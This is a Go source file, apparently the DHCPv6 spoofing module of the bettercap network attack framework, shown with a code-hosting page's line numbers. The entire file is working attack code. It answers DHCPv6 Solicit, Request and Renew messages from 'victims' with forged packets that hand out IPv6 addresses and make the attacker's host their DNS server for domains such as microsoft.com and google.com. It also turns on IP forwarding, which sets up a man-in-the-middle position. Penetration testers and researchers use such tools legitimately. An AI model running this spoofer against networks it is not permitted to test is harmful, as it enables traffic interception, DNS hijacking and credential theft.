dhcp6_spoof.go 9.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389
  1. package dhcp6_spoof
  2. import (
  3. "bytes"
  4. "crypto/rand"
  5. "fmt"
  6. "net"
  7. "strings"
  8. "sync"
  9. "time"
  10. "github.com/bettercap/bettercap/network"
  11. "github.com/bettercap/bettercap/packets"
  12. "github.com/bettercap/bettercap/session"
  13. "github.com/google/gopacket"
  14. "github.com/google/gopacket/layers"
  15. "github.com/google/gopacket/pcap"
  16. // TODO: refactor to use gopacket when gopacket folks
  17. // will fix this > https://github.com/google/gopacket/issues/334
  18. "github.com/mdlayher/dhcp6"
  19. "github.com/mdlayher/dhcp6/dhcp6opts"
  20. "github.com/evilsocket/islazy/tui"
  21. )
  22. type DHCP6Spoofer struct {
  23. session.SessionModule
  24. Handle *pcap.Handle
  25. DUID *dhcp6opts.DUIDLLT
  26. DUIDRaw []byte
  27. Domains []string
  28. RawDomains []byte
  29. waitGroup *sync.WaitGroup
  30. pktSourceChan chan gopacket.Packet
  31. }
  32. func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer {
  33. mod := &DHCP6Spoofer{
  34. SessionModule: session.NewSessionModule("dhcp6.spoof", s),
  35. Handle: nil,
  36. waitGroup: &sync.WaitGroup{},
  37. }
  38. mod.SessionModule.Requires("net.recon")
  39. mod.AddParam(session.NewStringParameter("dhcp6.spoof.domains",
  40. "microsoft.com, google.com, facebook.com, apple.com, twitter.com",
  41. ``,
  42. "Comma separated values of domain names to spoof."))
  43. mod.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "",
  44. "Start the DHCPv6 spoofer in the background.",
  45. func(args []string) error {
  46. return mod.Start()
  47. }))
  48. mod.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "",
  49. "Stop the DHCPv6 spoofer in the background.",
  50. func(args []string) error {
  51. return mod.Stop()
  52. }))
  53. return mod
  54. }
  55. func (mod DHCP6Spoofer) Name() string {
  56. return "dhcp6.spoof"
  57. }
  58. func (mod DHCP6Spoofer) Description() string {
  59. return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)."
  60. }
  61. func (mod DHCP6Spoofer) Author() string {
  62. return "Simone Margaritelli <evilsocket@gmail.com>"
  63. }
  64. func (mod *DHCP6Spoofer) Configure() error {
  65. var err error
  66. if mod.Running() {
  67. return session.ErrAlreadyStarted(mod.Name())
  68. }
  69. if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
  70. return err
  71. }
  72. err = mod.Handle.SetBPFFilter("ip6 and udp")
  73. if err != nil {
  74. return err
  75. }
  76. if err, mod.Domains = mod.ListParam("dhcp6.spoof.domains"); err != nil {
  77. return err
  78. }
  79. mod.RawDomains = packets.DHCP6EncodeList(mod.Domains)
  80. if mod.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), mod.Session.Interface.HW); err != nil {
  81. return err
  82. } else if mod.DUIDRaw, err = mod.DUID.MarshalBinary(); err != nil {
  83. return err
  84. }
  85. if !mod.Session.Firewall.IsForwardingEnabled() {
  86. mod.Info("Enabling forwarding.")
  87. mod.Session.Firewall.EnableForwarding(true)
  88. }
  89. return nil
  90. }
  91. func (mod *DHCP6Spoofer) dhcp6For(what dhcp6.MessageType, to dhcp6.Packet) (err error, p dhcp6.Packet) {
  92. err, p = packets.DHCP6For(what, to, mod.DUIDRaw)
  93. if err != nil {
  94. return
  95. }
  96. p.Options.AddRaw(packets.DHCP6OptDNSServers, mod.Session.Interface.IPv6)
  97. p.Options.AddRaw(packets.DHCP6OptDNSDomains, mod.RawDomains)
  98. return nil, p
  99. }
  100. func (mod *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) {
  101. pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
  102. fqdn := target.String()
  103. if raw, found := solicit.Options[packets.DHCP6OptClientFQDN]; found && len(raw) >= 1 {
  104. fqdn = string(raw[0])
  105. }
  106. mod.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", tui.Bold(fqdn), target, len(mod.Domains))
  107. err, adv := mod.dhcp6For(dhcp6.MessageTypeAdvertise, solicit)
  108. if err != nil {
  109. mod.Error("%s", err)
  110. return
  111. }
  112. var solIANA dhcp6opts.IANA
  113. if raw, found := solicit.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
  114. mod.Error("Unexpected DHCPv6 packet, could not find IANA.")
  115. return
  116. } else if err := solIANA.UnmarshalBinary(raw[0]); err != nil {
  117. mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
  118. return
  119. }
  120. var ip net.IP
  121. if h, found := mod.Session.Lan.Get(target.String()); found {
  122. ip = h.IP
  123. } else {
  124. mod.Warning("Address %s not known, using random identity association address.", target.String())
  125. rand.Read(ip)
  126. }
  127. addr := fmt.Sprintf("%s%s", packets.IPv6Prefix, strings.Replace(ip.String(), ".", ":", -1))
  128. iaaddr, err := dhcp6opts.NewIAAddr(net.ParseIP(addr), 300*time.Second, 300*time.Second, nil)
  129. if err != nil {
  130. mod.Error("Error creating IAAddr: %s", err)
  131. return
  132. }
  133. iaaddrRaw, err := iaaddr.MarshalBinary()
  134. if err != nil {
  135. mod.Error("Error serializing IAAddr: %s", err)
  136. return
  137. }
  138. opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{iaaddrRaw}}
  139. iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts)
  140. ianaRaw, err := iana.MarshalBinary()
  141. if err != nil {
  142. mod.Error("Error serializing IANA: %s", err)
  143. return
  144. }
  145. adv.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
  146. rawAdv, err := adv.MarshalBinary()
  147. if err != nil {
  148. mod.Error("Error serializing advertisement packet: %s.", err)
  149. return
  150. }
  151. eth := layers.Ethernet{
  152. SrcMAC: mod.Session.Interface.HW,
  153. DstMAC: target,
  154. EthernetType: layers.EthernetTypeIPv6,
  155. }
  156. ip6 := layers.IPv6{
  157. Version: 6,
  158. NextHeader: layers.IPProtocolUDP,
  159. HopLimit: 64,
  160. SrcIP: mod.Session.Interface.IPv6,
  161. DstIP: pip6.SrcIP,
  162. }
  163. udp := layers.UDP{
  164. SrcPort: 547,
  165. DstPort: 546,
  166. }
  167. udp.SetNetworkLayerForChecksum(&ip6)
  168. dhcp := packets.DHCPv6Layer{
  169. Raw: rawAdv,
  170. }
  171. err, raw := packets.Serialize(&eth, &ip6, &udp, &dhcp)
  172. if err != nil {
  173. mod.Error("Error serializing packet: %s.", err)
  174. return
  175. }
  176. mod.Debug("Sending %d bytes of packet ...", len(raw))
  177. if err := mod.Session.Queue.Send(raw); err != nil {
  178. mod.Error("Error sending packet: %s", err)
  179. }
  180. }
  181. func (mod *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.Packet, target net.HardwareAddr) {
  182. mod.Debug("Sending spoofed DHCPv6 reply to %s after its %s packet.", tui.Bold(target.String()), toType)
  183. err, reply := mod.dhcp6For(dhcp6.MessageTypeReply, req)
  184. if err != nil {
  185. mod.Error("%s", err)
  186. return
  187. }
  188. var reqIANA dhcp6opts.IANA
  189. if raw, found := req.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
  190. mod.Error("Unexpected DHCPv6 packet, could not find IANA.")
  191. return
  192. } else if err := reqIANA.UnmarshalBinary(raw[0]); err != nil {
  193. mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
  194. return
  195. }
  196. var reqIAddr []byte
  197. if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
  198. reqIAddr = raw[0]
  199. } else {
  200. mod.Error("Unexpected DHCPv6 packet, could not deserialize request IANA IAAddr.")
  201. return
  202. }
  203. opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{reqIAddr}}
  204. iana := dhcp6opts.NewIANA(reqIANA.IAID, 200*time.Second, 250*time.Second, opts)
  205. ianaRaw, err := iana.MarshalBinary()
  206. if err != nil {
  207. mod.Error("Error serializing IANA: %s", err)
  208. return
  209. }
  210. reply.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
  211. rawAdv, err := reply.MarshalBinary()
  212. if err != nil {
  213. mod.Error("Error serializing advertisement packet: %s.", err)
  214. return
  215. }
  216. pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
  217. eth := layers.Ethernet{
  218. SrcMAC: mod.Session.Interface.HW,
  219. DstMAC: target,
  220. EthernetType: layers.EthernetTypeIPv6,
  221. }
  222. ip6 := layers.IPv6{
  223. Version: 6,
  224. NextHeader: layers.IPProtocolUDP,
  225. HopLimit: 64,
  226. SrcIP: mod.Session.Interface.IPv6,
  227. DstIP: pip6.SrcIP,
  228. }
  229. udp := layers.UDP{
  230. SrcPort: 547,
  231. DstPort: 546,
  232. }
  233. udp.SetNetworkLayerForChecksum(&ip6)
  234. dhcp := packets.DHCPv6Layer{
  235. Raw: rawAdv,
  236. }
  237. err, raw := packets.Serialize(&eth, &ip6, &udp, &dhcp)
  238. if err != nil {
  239. mod.Error("Error serializing packet: %s.", err)
  240. return
  241. }
  242. mod.Debug("Sending %d bytes of packet ...", len(raw))
  243. if err := mod.Session.Queue.Send(raw); err != nil {
  244. mod.Error("Error sending packet: %s", err)
  245. }
  246. if toType == "request" {
  247. var addr net.IP
  248. if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
  249. addr = net.IP(raw[0])
  250. }
  251. if h, found := mod.Session.Lan.Get(target.String()); found {
  252. mod.Info("IPv6 address %s is now assigned to %s", addr.String(), h)
  253. } else {
  254. mod.Info("IPv6 address %s is now assigned to %s", addr.String(), target)
  255. }
  256. } else {
  257. mod.Debug("DHCPv6 renew sent to %s", target)
  258. }
  259. }
  260. func (mod *DHCP6Spoofer) duidMatches(dhcp dhcp6.Packet) bool {
  261. if raw, found := dhcp.Options[dhcp6.OptionServerID]; found && len(raw) >= 1 {
  262. if bytes.Equal(raw[0], mod.DUIDRaw) {
  263. return true
  264. }
  265. }
  266. return false
  267. }
  268. func (mod *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
  269. var dhcp dhcp6.Packet
  270. var err error
  271. udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP)
  272. if udp == nil {
  273. return
  274. }
  275. // we just got a dhcp6 packet?
  276. if err = dhcp.UnmarshalBinary(udp.Payload); err == nil {
  277. eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet)
  278. switch dhcp.MessageType {
  279. case dhcp6.MessageTypeSolicit:
  280. mod.dhcpAdvertise(pkt, dhcp, eth.SrcMAC)
  281. case dhcp6.MessageTypeRequest:
  282. if mod.duidMatches(dhcp) {
  283. mod.dhcpReply("request", pkt, dhcp, eth.SrcMAC)
  284. }
  285. case dhcp6.MessageTypeRenew:
  286. if mod.duidMatches(dhcp) {
  287. mod.dhcpReply("renew", pkt, dhcp, eth.SrcMAC)
  288. }
  289. }
  290. }
  291. }
  292. func (mod *DHCP6Spoofer) Start() error {
  293. if err := mod.Configure(); err != nil {
  294. return err
  295. }
  296. return mod.SetRunning(true, func() {
  297. mod.waitGroup.Add(1)
  298. defer mod.waitGroup.Done()
  299. src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType())
  300. mod.pktSourceChan = src.Packets()
  301. for packet := range mod.pktSourceChan {
  302. if !mod.Running() {
  303. break
  304. }
  305. mod.onPacket(packet)
  306. }
  307. })
  308. }
  309. func (mod *DHCP6Spoofer) Stop() error {
  310. return mod.SetRunning(false, func() {
  311. mod.pktSourceChan <- nil
  312. mod.Handle.Close()
  313. mod.waitGroup.Wait()
  314. })
  315. }